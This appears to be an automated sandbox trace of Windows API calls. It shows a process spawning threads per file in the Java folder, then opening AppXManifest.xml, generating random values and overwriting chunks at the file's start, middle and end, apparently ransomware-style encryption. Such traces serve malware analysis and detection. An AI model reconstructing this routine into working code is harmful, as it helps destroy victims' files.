	[0076.739] wcscpy (in: _Dest=0x2d85970, _Source="C:\\Program Files\\Java\\jre1.8.0_144" | out: _Dest="C:\\Program Files\\Java\\jre1.8.0_144") returned="C:\\Program Files\\Java\\jre1.8.0_144"
	[0076.739] wcscat (in: _Dest=0x2d85970, _Source="\\" | out: _Dest="C:\\Program Files\\Java\\jre1.8.0_144\\") returned="C:\\Program Files\\Java\\jre1.8.0_144\\"
	[0076.739] wcscat (in: _Dest=0x2d85970, _Source="bin" | out: _Dest="C:\\Program Files\\Java\\jre1.8.0_144\\bin") returned="C:\\Program Files\\Java\\jre1.8.0_144\\bin"
	[0077.294] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x2d85970, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x6bc
	[0077.294] FindNextFileW (in: hFindFile=0x2d70800, lpFindFileData=0x2d849e0 | out: lpFindFileData=0x2d849e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7406c5a, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa7406c5a, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa7406c5a, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0xcac, dwReserved0=0x0, dwReserved1=0x0, cFileName="COPYRIGHT", cAlternateFileName="COPYRI~1")) returned 1
	[0077.294] wcscmp (_String1="COPYRIGHT", _String2=".") returned 1
	[0077.294] wcscmp (_String1="COPYRIGHT", _String2="..") returned 1
	[0077.294] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x5a) returned 0x4734228
	[0077.294] wcscpy (in: _Dest=0x4734228, _Source="C:\\Program Files\\Java\\jre1.8.0_144" | out: _Dest="C:\\Program Files\\Java\\jre1.8.0_144") returned="C:\\Program Files\\Java\\jre1.8.0_144"
	[0077.294] wcscat (in: _Dest=0x4734228, _Source="\\" | out: _Dest="C:\\Program Files\\Java\\jre1.8.0_144\\") returned="C:\\Program Files\\Java\\jre1.8.0_144\\"
	[0077.294] wcscat (in: _Dest=0x4734228, _Source="COPYRIGHT" | out: _Dest="C:\\Program Files\\Java\\jre1.8.0_144\\COPYRIGHT") returned="C:\\Program Files\\Java\\jre1.8.0_144\\COPYRIGHT"
	[0077.294] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x4734228, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x6ac
	[0077.295] FindNextFileW (in: hFindFile=0x2d70800, lpFindFileData=0x2d849e0 | out: lpFindFileData=0x2d849e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa8b45bd2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa0fe1f09, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xaa80821a, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="lib", cAlternateFileName="")) returned 1
	[0077.295] wcscmp (_String1="lib", _String2=".") returned 1
	[0077.295] wcscmp (_String1="lib", _String2="..") returned 1
	[0077.295] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x4e) returned 0x2dac370
	[0077.296] wcscpy (in: _Dest=0x2dac370, _Source="C:\\Program Files\\Java\\jre1.8.0_144" | out: _Dest="C:\\Program Files\\Java\\jre1.8.0_144") returned="C:\\Program Files\\Java\\jre1.8.0_144"
	[0077.296] wcscat (in: _Dest=0x2dac370, _Source="\\" | out: _Dest="C:\\Program Files\\Java\\jre1.8.0_144\\") returned="C:\\Program Files\\Java\\jre1.8.0_144\\"
	[0077.296] wcscat (in: _Dest=0x2dac370, _Source="lib" | out: _Dest="C:\\Program Files\\Java\\jre1.8.0_144\\lib") returned="C:\\Program Files\\Java\\jre1.8.0_144\\lib"
	[0077.296] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x2dac370, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x6a8
	[0077.296] FindNextFileW (in: hFindFile=0x2d70800, lpFindFileData=0x2d849e0 | out: lpFindFileData=0x2d849e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7406c5a, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa7406c5a, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa7406c5a, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x28, dwReserved0=0x0, dwReserved1=0x0, cFileName="LICENSE", cAlternateFileName="")) returned 1
	[0077.296] wcscmp (_String1="LICENSE", _String2=".") returned 1
	[0077.296] wcscmp (_String1="LICENSE", _String2="..") returned 1
	[0077.296] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x56) returned 0x2daf428
	[0077.296] wcscpy (in: _Dest=0x2daf428, _Source="C:\\Program Files\\Java\\jre1.8.0_144" | out: _Dest="C:\\Program Files\\Java\\jre1.8.0_144") returned="C:\\Program Files\\Java\\jre1.8.0_144"
	[0077.296] wcscat (in: _Dest=0x2daf428, _Source="\\" | out: _Dest="C:\\Program Files\\Java\\jre1.8.0_144\\") returned="C:\\Program Files\\Java\\jre1.8.0_144\\"
	[0077.296] wcscat (in: _Dest=0x2daf428, _Source="LICENSE" | out: _Dest="C:\\Program Files\\Java\\jre1.8.0_144\\LICENSE") returned="C:\\Program Files\\Java\\jre1.8.0_144\\LICENSE"
	[0077.297] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x2daf428, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x6a0
	[0077.297] FindNextFileW (in: hFindFile=0x2d70800, lpFindFileData=0x2d849e0 | out: lpFindFileData=0x2d849e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7406c5a, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa7406c5a, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa7406c5a, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x2e, dwReserved0=0x0, dwReserved1=0x0, cFileName="README.txt", cAlternateFileName="")) returned 1
	[0077.297] wcscmp (_String1="README.txt", _String2=".") returned 1
	[0077.297] wcscmp (_String1="README.txt", _String2="..") returned 1
	[0077.297] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x5c) returned 0x47340f0
	[0077.297] wcscpy (in: _Dest=0x47340f0, _Source="C:\\Program Files\\Java\\jre1.8.0_144" | out: _Dest="C:\\Program Files\\Java\\jre1.8.0_144") returned="C:\\Program Files\\Java\\jre1.8.0_144"
	[0077.297] wcscat (in: _Dest=0x47340f0, _Source="\\" | out: _Dest="C:\\Program Files\\Java\\jre1.8.0_144\\") returned="C:\\Program Files\\Java\\jre1.8.0_144\\"
	[0077.297] wcscat (in: _Dest=0x47340f0, _Source="README.txt" | out: _Dest="C:\\Program Files\\Java\\jre1.8.0_144\\README.txt") returned="C:\\Program Files\\Java\\jre1.8.0_144\\README.txt"
	[0077.297] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x47340f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x678
	[0077.298] FindNextFileW (in: hFindFile=0x2d70800, lpFindFileData=0x2d849e0 | out: lpFindFileData=0x2d849e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c9d0cc, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c9d0cc, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c9d0cc, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x210, dwReserved0=0x0, dwReserved1=0x0, cFileName="release", cAlternateFileName="")) returned 1
	[0077.298] wcscmp (_String1="release", _String2=".") returned 1
	[0077.298] wcscmp (_String1="release", _String2="..") returned 1
	[0077.298] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x56) returned 0x2daf008
	[0077.298] wcscpy (in: _Dest=0x2daf008, _Source="C:\\Program Files\\Java\\jre1.8.0_144" | out: _Dest="C:\\Program Files\\Java\\jre1.8.0_144") returned="C:\\Program Files\\Java\\jre1.8.0_144"
	[0077.298] wcscat (in: _Dest=0x2daf008, _Source="\\" | out: _Dest="C:\\Program Files\\Java\\jre1.8.0_144\\") returned="C:\\Program Files\\Java\\jre1.8.0_144\\"
	[0077.298] wcscat (in: _Dest=0x2daf008, _Source="release" | out: _Dest="C:\\Program Files\\Java\\jre1.8.0_144\\release") returned="C:\\Program Files\\Java\\jre1.8.0_144\\release"
	[0077.298] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x2daf008, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x5a8
	[0077.299] FindNextFileW (in: hFindFile=0x2d70800, lpFindFileData=0x2d849e0 | out: lpFindFileData=0x2d849e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7406c5a, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa7406c5a, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa7406c5a, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0xf9bd, dwReserved0=0x0, dwReserved1=0x0, cFileName="THIRDPARTYLICENSEREADME-JAVAFX.txt", cAlternateFileName="THIRDP~1.TXT")) returned 1
	[0077.299] wcscmp (_String1="THIRDPARTYLICENSEREADME-JAVAFX.txt", _String2=".") returned 1
	[0077.299] wcscmp (_String1="THIRDPARTYLICENSEREADME-JAVAFX.txt", _String2="..") returned 1
	[0077.299] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x8c) returned 0x2d78550
	[0077.299] wcscpy (in: _Dest=0x2d78550, _Source="C:\\Program Files\\Java\\jre1.8.0_144" | out: _Dest="C:\\Program Files\\Java\\jre1.8.0_144") returned="C:\\Program Files\\Java\\jre1.8.0_144"
	[0077.299] wcscat (in: _Dest=0x2d78550, _Source="\\" | out: _Dest="C:\\Program Files\\Java\\jre1.8.0_144\\") returned="C:\\Program Files\\Java\\jre1.8.0_144\\"
	[0077.299] wcscat (in: _Dest=0x2d78550, _Source="THIRDPARTYLICENSEREADME-JAVAFX.txt" | out: _Dest="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME-JAVAFX.txt") returned="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME-JAVAFX.txt"
	[0077.299] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x2d78550, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x5a0
	[0077.300] FindNextFileW (in: hFindFile=0x2d70800, lpFindFileData=0x2d849e0 | out: lpFindFileData=0x2d849e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7406c5a, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa7406c5a, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa7406c5a, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x2371c, dwReserved0=0x0, dwReserved1=0x0, cFileName="THIRDPARTYLICENSEREADME.txt", cAlternateFileName="THIRDP~2.TXT")) returned 1
	[0077.300] wcscmp (_String1="THIRDPARTYLICENSEREADME.txt", _String2=".") returned 1
	[0077.300] wcscmp (_String1="THIRDPARTYLICENSEREADME.txt", _String2="..") returned 1
	[0077.300] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x7e) returned 0x2e35720
	[0077.300] wcscpy (in: _Dest=0x2e35720, _Source="C:\\Program Files\\Java\\jre1.8.0_144" | out: _Dest="C:\\Program Files\\Java\\jre1.8.0_144") returned="C:\\Program Files\\Java\\jre1.8.0_144"
	[0077.300] wcscat (in: _Dest=0x2e35720, _Source="\\" | out: _Dest="C:\\Program Files\\Java\\jre1.8.0_144\\") returned="C:\\Program Files\\Java\\jre1.8.0_144\\"
	[0077.300] wcscat (in: _Dest=0x2e35720, _Source="THIRDPARTYLICENSEREADME.txt" | out: _Dest="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME.txt") returned="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME.txt"
	[0077.300] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x2e35720, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x590
	[0077.301] FindNextFileW (in: hFindFile=0x2d70800, lpFindFileData=0x2d849e0 | out: lpFindFileData=0x2d849e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7406c5a, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa7406c5a, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa7406c5a, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x3bb, dwReserved0=0x0, dwReserved1=0x0, cFileName="Welcome.html", cAlternateFileName="WELCOM~1.HTM")) returned 1
	[0077.301] wcscmp (_String1="Welcome.html", _String2=".") returned 1
	[0077.301] wcscmp (_String1="Welcome.html", _String2="..") returned 1
	[0077.301] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x60) returned 0x4734088
	[0077.301] wcscpy (in: _Dest=0x4734088, _Source="C:\\Program Files\\Java\\jre1.8.0_144" | out: _Dest="C:\\Program Files\\Java\\jre1.8.0_144") returned="C:\\Program Files\\Java\\jre1.8.0_144"
	[0077.301] wcscat (in: _Dest=0x4734088, _Source="\\" | out: _Dest="C:\\Program Files\\Java\\jre1.8.0_144\\") returned="C:\\Program Files\\Java\\jre1.8.0_144\\"
	[0077.301] wcscat (in: _Dest=0x4734088, _Source="Welcome.html" | out: _Dest="C:\\Program Files\\Java\\jre1.8.0_144\\Welcome.html") returned="C:\\Program Files\\Java\\jre1.8.0_144\\Welcome.html"
	[0077.301] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x4734088, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x588
	[0077.302] FindNextFileW (in: hFindFile=0x2d70800, lpFindFileData=0x2d849e0 | out: lpFindFileData=0x2d849e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7406c5a, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa7406c5a, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa7406c5a, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x3bb, dwReserved0=0x0, dwReserved1=0x0, cFileName="Welcome.html", cAlternateFileName="WELCOM~1.HTM")) returned 0
	[0077.302] FindClose (in: hFindFile=0x2d70800 | out: hFindFile=0x2d70800) returned 1
	[0077.302] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d849e0) returned 1
	[0077.302] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d858c0) returned 1
	[0077.302] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4730ba0) returned 1

Thread:
	id = 227
	os_tid = 0x88c

	[0076.740] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\AppXManifest.xml" (normalized: "c:\\program files\\microsoft office\\appxmanifest.xml")) returned 0x20
	[0076.740] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\AppXManifest.xml", dwFileAttributes=0x20) returned 1
	[0076.740] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\AppXManifest.xml" (normalized: "c:\\program files\\microsoft office\\appxmanifest.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x810
	[0076.741] GetFileSizeEx (in: hFile=0x810, lpFileSize=0xb00f980 | out: lpFileSize=0xb00f980*=5944055) returned 1
	[0076.741] SetFilePointerEx (in: hFile=0x810, liDistanceToMove=0x5ab2f3, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0076.741] ReadFile (in: hFile=0x810, lpBuffer=0xb00f904, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0xb00f900, lpOverlapped=0x0 | out: lpBuffer=0xb00f904*, lpNumberOfBytesRead=0xb00f900*=0x4, lpOverlapped=0x0) returned 1
	[0077.675] SetFilePointerEx (in: hFile=0x810, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0077.675] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e34500
	[0077.675] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e345c8
	[0077.675] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e34550
	[0077.676] NtQuerySystemTime (in: CurrentTime=0xb00f8e0 | out: CurrentTime=0xb00f8e0*=132251868044093911) returned 0x0
	[0077.676] RtlRandom (in: Seed=0xb00f8ec | out: Seed=0xb00f8ec) returned 0x94f3ace7
	[0077.676] RtlRandom (in: Seed=0xb00f8ec | out: Seed=0xb00f8ec) returned 0xd5e69767
	[0077.676] RtlRandom (in: Seed=0xb00f8ec | out: Seed=0xb00f8ec) returned 0xa621192c
	[0077.676] RtlRandom (in: Seed=0xb00f8ec | out: Seed=0xb00f8ec) returned 0xf55f413a
	[0077.676] RtlRandom (in: Seed=0xb00f8ec | out: Seed=0xb00f8ec) returned 0x2245c106
	[0077.676] RtlRandom (in: Seed=0xb00f8ec | out: Seed=0xb00f8ec) returned 0xef61ad13
	[0077.676] RtlRandom (in: Seed=0xb00f8ec | out: Seed=0xb00f8ec) returned 0xcb8a51e1
	[0077.676] RtlRandom (in: Seed=0xb00f8ec | out: Seed=0xb00f8ec) returned 0xeb78f285
	[0077.676] RtlRandom (in: Seed=0xb00f8ec | out: Seed=0xb00f8ec) returned 0xb21c3cc2
	[0077.676] RtlRandom (in: Seed=0xb00f8ec | out: Seed=0xb00f8ec) returned 0xcee0de8e
	[0077.676] RtlRandom (in: Seed=0xb00f8ec | out: Seed=0xb00f8ec) returned 0x1d6c32f0
	[0077.676] RtlRandom (in: Seed=0xb00f8ec | out: Seed=0xb00f8ec) returned 0x55a84f9
	[0077.676] RtlRandom (in: Seed=0xb00f8ec | out: Seed=0xb00f8ec) returned 0xc835a7bf
	[0077.676] RtlRandom (in: Seed=0xb00f8ec | out: Seed=0xb00f8ec) returned 0x215d03d7
	[0077.676] RtlRandom (in: Seed=0xb00f8ec | out: Seed=0xb00f8ec) returned 0x18d587d1
	[0077.676] RtlRandom (in: Seed=0xb00f8ec | out: Seed=0xb00f8ec) returned 0x893d4319
	[0077.676] RtlRandom (in: Seed=0xb00f8ec | out: Seed=0xb00f8ec) returned 0x76791b5d
	[0077.676] RtlRandom (in: Seed=0xb00f8ec | out: Seed=0xb00f8ec) returned 0xc0adfa8f
	[0077.676] RtlRandom (in: Seed=0xb00f8ec | out: Seed=0xb00f8ec) returned 0xfb1653ce
	[0077.676] RtlRandom (in: Seed=0xb00f8ec | out: Seed=0xb00f8ec) returned 0x904940b
	[0077.676] RtlRandom (in: Seed=0xb00f8ec | out: Seed=0xb00f8ec) returned 0x2a5ab5a8
	[0077.676] RtlRandom (in: Seed=0xb00f8ec | out: Seed=0xb00f8ec) returned 0x9afad84d
	[0077.676] RtlRandom (in: Seed=0xb00f8ec | out: Seed=0xb00f8ec) returned 0x62d47068
	[0077.676] RtlRandom (in: Seed=0xb00f8ec | out: Seed=0xb00f8ec) returned 0xcdd1fc0a
	[0077.676] RtlRandom (in: Seed=0xb00f8ec | out: Seed=0xb00f8ec) returned 0x4ab37416
	[0077.676] RtlRandom (in: Seed=0xb00f8ec | out: Seed=0xb00f8ec) returned 0x1b502249
	[0077.676] RtlRandom (in: Seed=0xb00f8ec | out: Seed=0xb00f8ec) returned 0xc162d008
	[0077.676] RtlRandom (in: Seed=0xb00f8ec | out: Seed=0xb00f8ec) returned 0x3bd40b53
	[0077.676] RtlRandom (in: Seed=0xb00f8ec | out: Seed=0xb00f8ec) returned 0x64c23528
	[0077.676] RtlRandom (in: Seed=0xb00f8ec | out: Seed=0xb00f8ec) returned 0xe731d2cc
	[0077.676] RtlRandom (in: Seed=0xb00f8ec | out: Seed=0xb00f8ec) returned 0xe1a2aebc
	[0077.676] RtlRandom (in: Seed=0xb00f8ec | out: Seed=0xb00f8ec) returned 0xb5367b09
	[0077.685] SetFilePointerEx (in: hFile=0x810, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0077.685] ReadFile (in: hFile=0x810, lpBuffer=0x47e87d0, nNumberOfBytesToRead=0xc800, lpNumberOfBytesRead=0xb00f898, lpOverlapped=0x0 | out: lpBuffer=0x47e87d0*, lpNumberOfBytesRead=0xb00f898*=0xc800, lpOverlapped=0x0) returned 1
	[0077.804] SetFilePointerEx (in: hFile=0x810, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0077.804] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x40) returned 0x2dfa9b8
	[0077.804] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x47535c0
	[0077.804] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e34550
	[0077.804] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e34550) returned 1
	[0077.805] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc800) returned 0x46c9060
	[0077.806] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e34550
	[0077.806] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e34208
	[0077.806] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e34208) returned 1
	[0077.807] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47535c0) returned 1
	[0077.807] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfa9b8) returned 1
	[0077.807] WriteFile (in: hFile=0x810, lpBuffer=0x46c9060*, nNumberOfBytesToWrite=0xc800, lpNumberOfBytesWritten=0xb00f898, lpOverlapped=0x0 | out: lpBuffer=0x46c9060*, lpNumberOfBytesWritten=0xb00f898*=0xc800, lpOverlapped=0x0) returned 1
	[0077.847] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x46c9060) returned 1
	[0077.847] SetFilePointerEx (in: hFile=0x810, liDistanceToMove=0x2e1800, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0077.847] ReadFile (in: hFile=0x810, lpBuffer=0x47e87d0, nNumberOfBytesToRead=0xc800, lpNumberOfBytesRead=0xb00f898, lpOverlapped=0x0 | out: lpBuffer=0x47e87d0*, lpNumberOfBytesRead=0xb00f898*=0xc800, lpOverlapped=0x0) returned 1
	[0077.849] SetFilePointerEx (in: hFile=0x810, liDistanceToMove=0x2e1800, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0077.849] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x40) returned 0x2dfa9b8
	[0077.849] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x47535c0
	[0077.849] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e345f0
	[0077.849] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e345f0) returned 1
	[0077.850] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc800) returned 0x46c9060
	[0077.851] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e345f0
	[0077.851] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e34230
	[0077.851] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e34230) returned 1
	[0077.851] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47535c0) returned 1
	[0077.851] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfa9b8) returned 1
	[0077.851] WriteFile (in: hFile=0x810, lpBuffer=0x46c9060*, nNumberOfBytesToWrite=0xc800, lpNumberOfBytesWritten=0xb00f898, lpOverlapped=0x0 | out: lpBuffer=0x46c9060*, lpNumberOfBytesWritten=0xb00f898*=0xc800, lpOverlapped=0x0) returned 1
	[0077.877] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x46c9060) returned 1
	[0077.877] SetFilePointerEx (in: hFile=0x810, liDistanceToMove=0x59eaf7, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0077.877] ReadFile (in: hFile=0x810, lpBuffer=0x47e87d0, nNumberOfBytesToRead=0xc800, lpNumberOfBytesRead=0xb00f898, lpOverlapped=0x0 | out: lpBuffer=0x47e87d0*, lpNumberOfBytesRead=0xb00f898*=0xc800, lpOverlapped=0x0) returned 1
	[0077.878] SetFilePointerEx (in: hFile=0x810, liDistanceToMove=0x59eaf7, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0077.878] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x40) returned 0x2dfb420
	[0077.880] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x4753458
	[0077.881] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e34168
	[0077.881] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e34168) returned 1
	[0077.881] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc800) returned 0x46c9060
	[0077.882] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e343e8
	[0077.882] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e34370
	[0077.882] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e34370) returned 1
	[0077.882] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4753458) returned 1
	[0077.882] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfb420) returned 1
	[0077.882] WriteFile (in: hFile=0x810, lpBuffer=0x46c9060*, nNumberOfBytesToWrite=0xc800, lpNumberOfBytesWritten=0xb00f898, lpOverlapped=0x0 | out: lpBuffer=0x46c9060*, lpNumberOfBytesWritten=0xb00f898*=0xc800, lpOverlapped=0x0) returned 1
	[0077.883] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x46c9060) returned 1
	[0077.884] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x60) returned 0x47806a8
	[0077.884] SetFilePointerEx (in: hFile=0x810, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0077.884] WriteFile (in: hFile=0x810, lpBuffer=0x4780f30*, nNumberOfBytesToWrite=0x151, lpNumberOfBytesWritten=0xb00f940, lpOverlapped=0x0 | out: lpBuffer=0x4780f30*, lpNumberOfBytesWritten=0xb00f940*=0x151, lpOverlapped=0x0) returned 1
	[0077.886] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4780f30) returned 1
	[0077.886] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4764bd0) returned 1
	[0077.886] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e345f0) returned 1
	[0077.886] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4764a10) returned 1
	[0077.886] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47806a8) returned 1
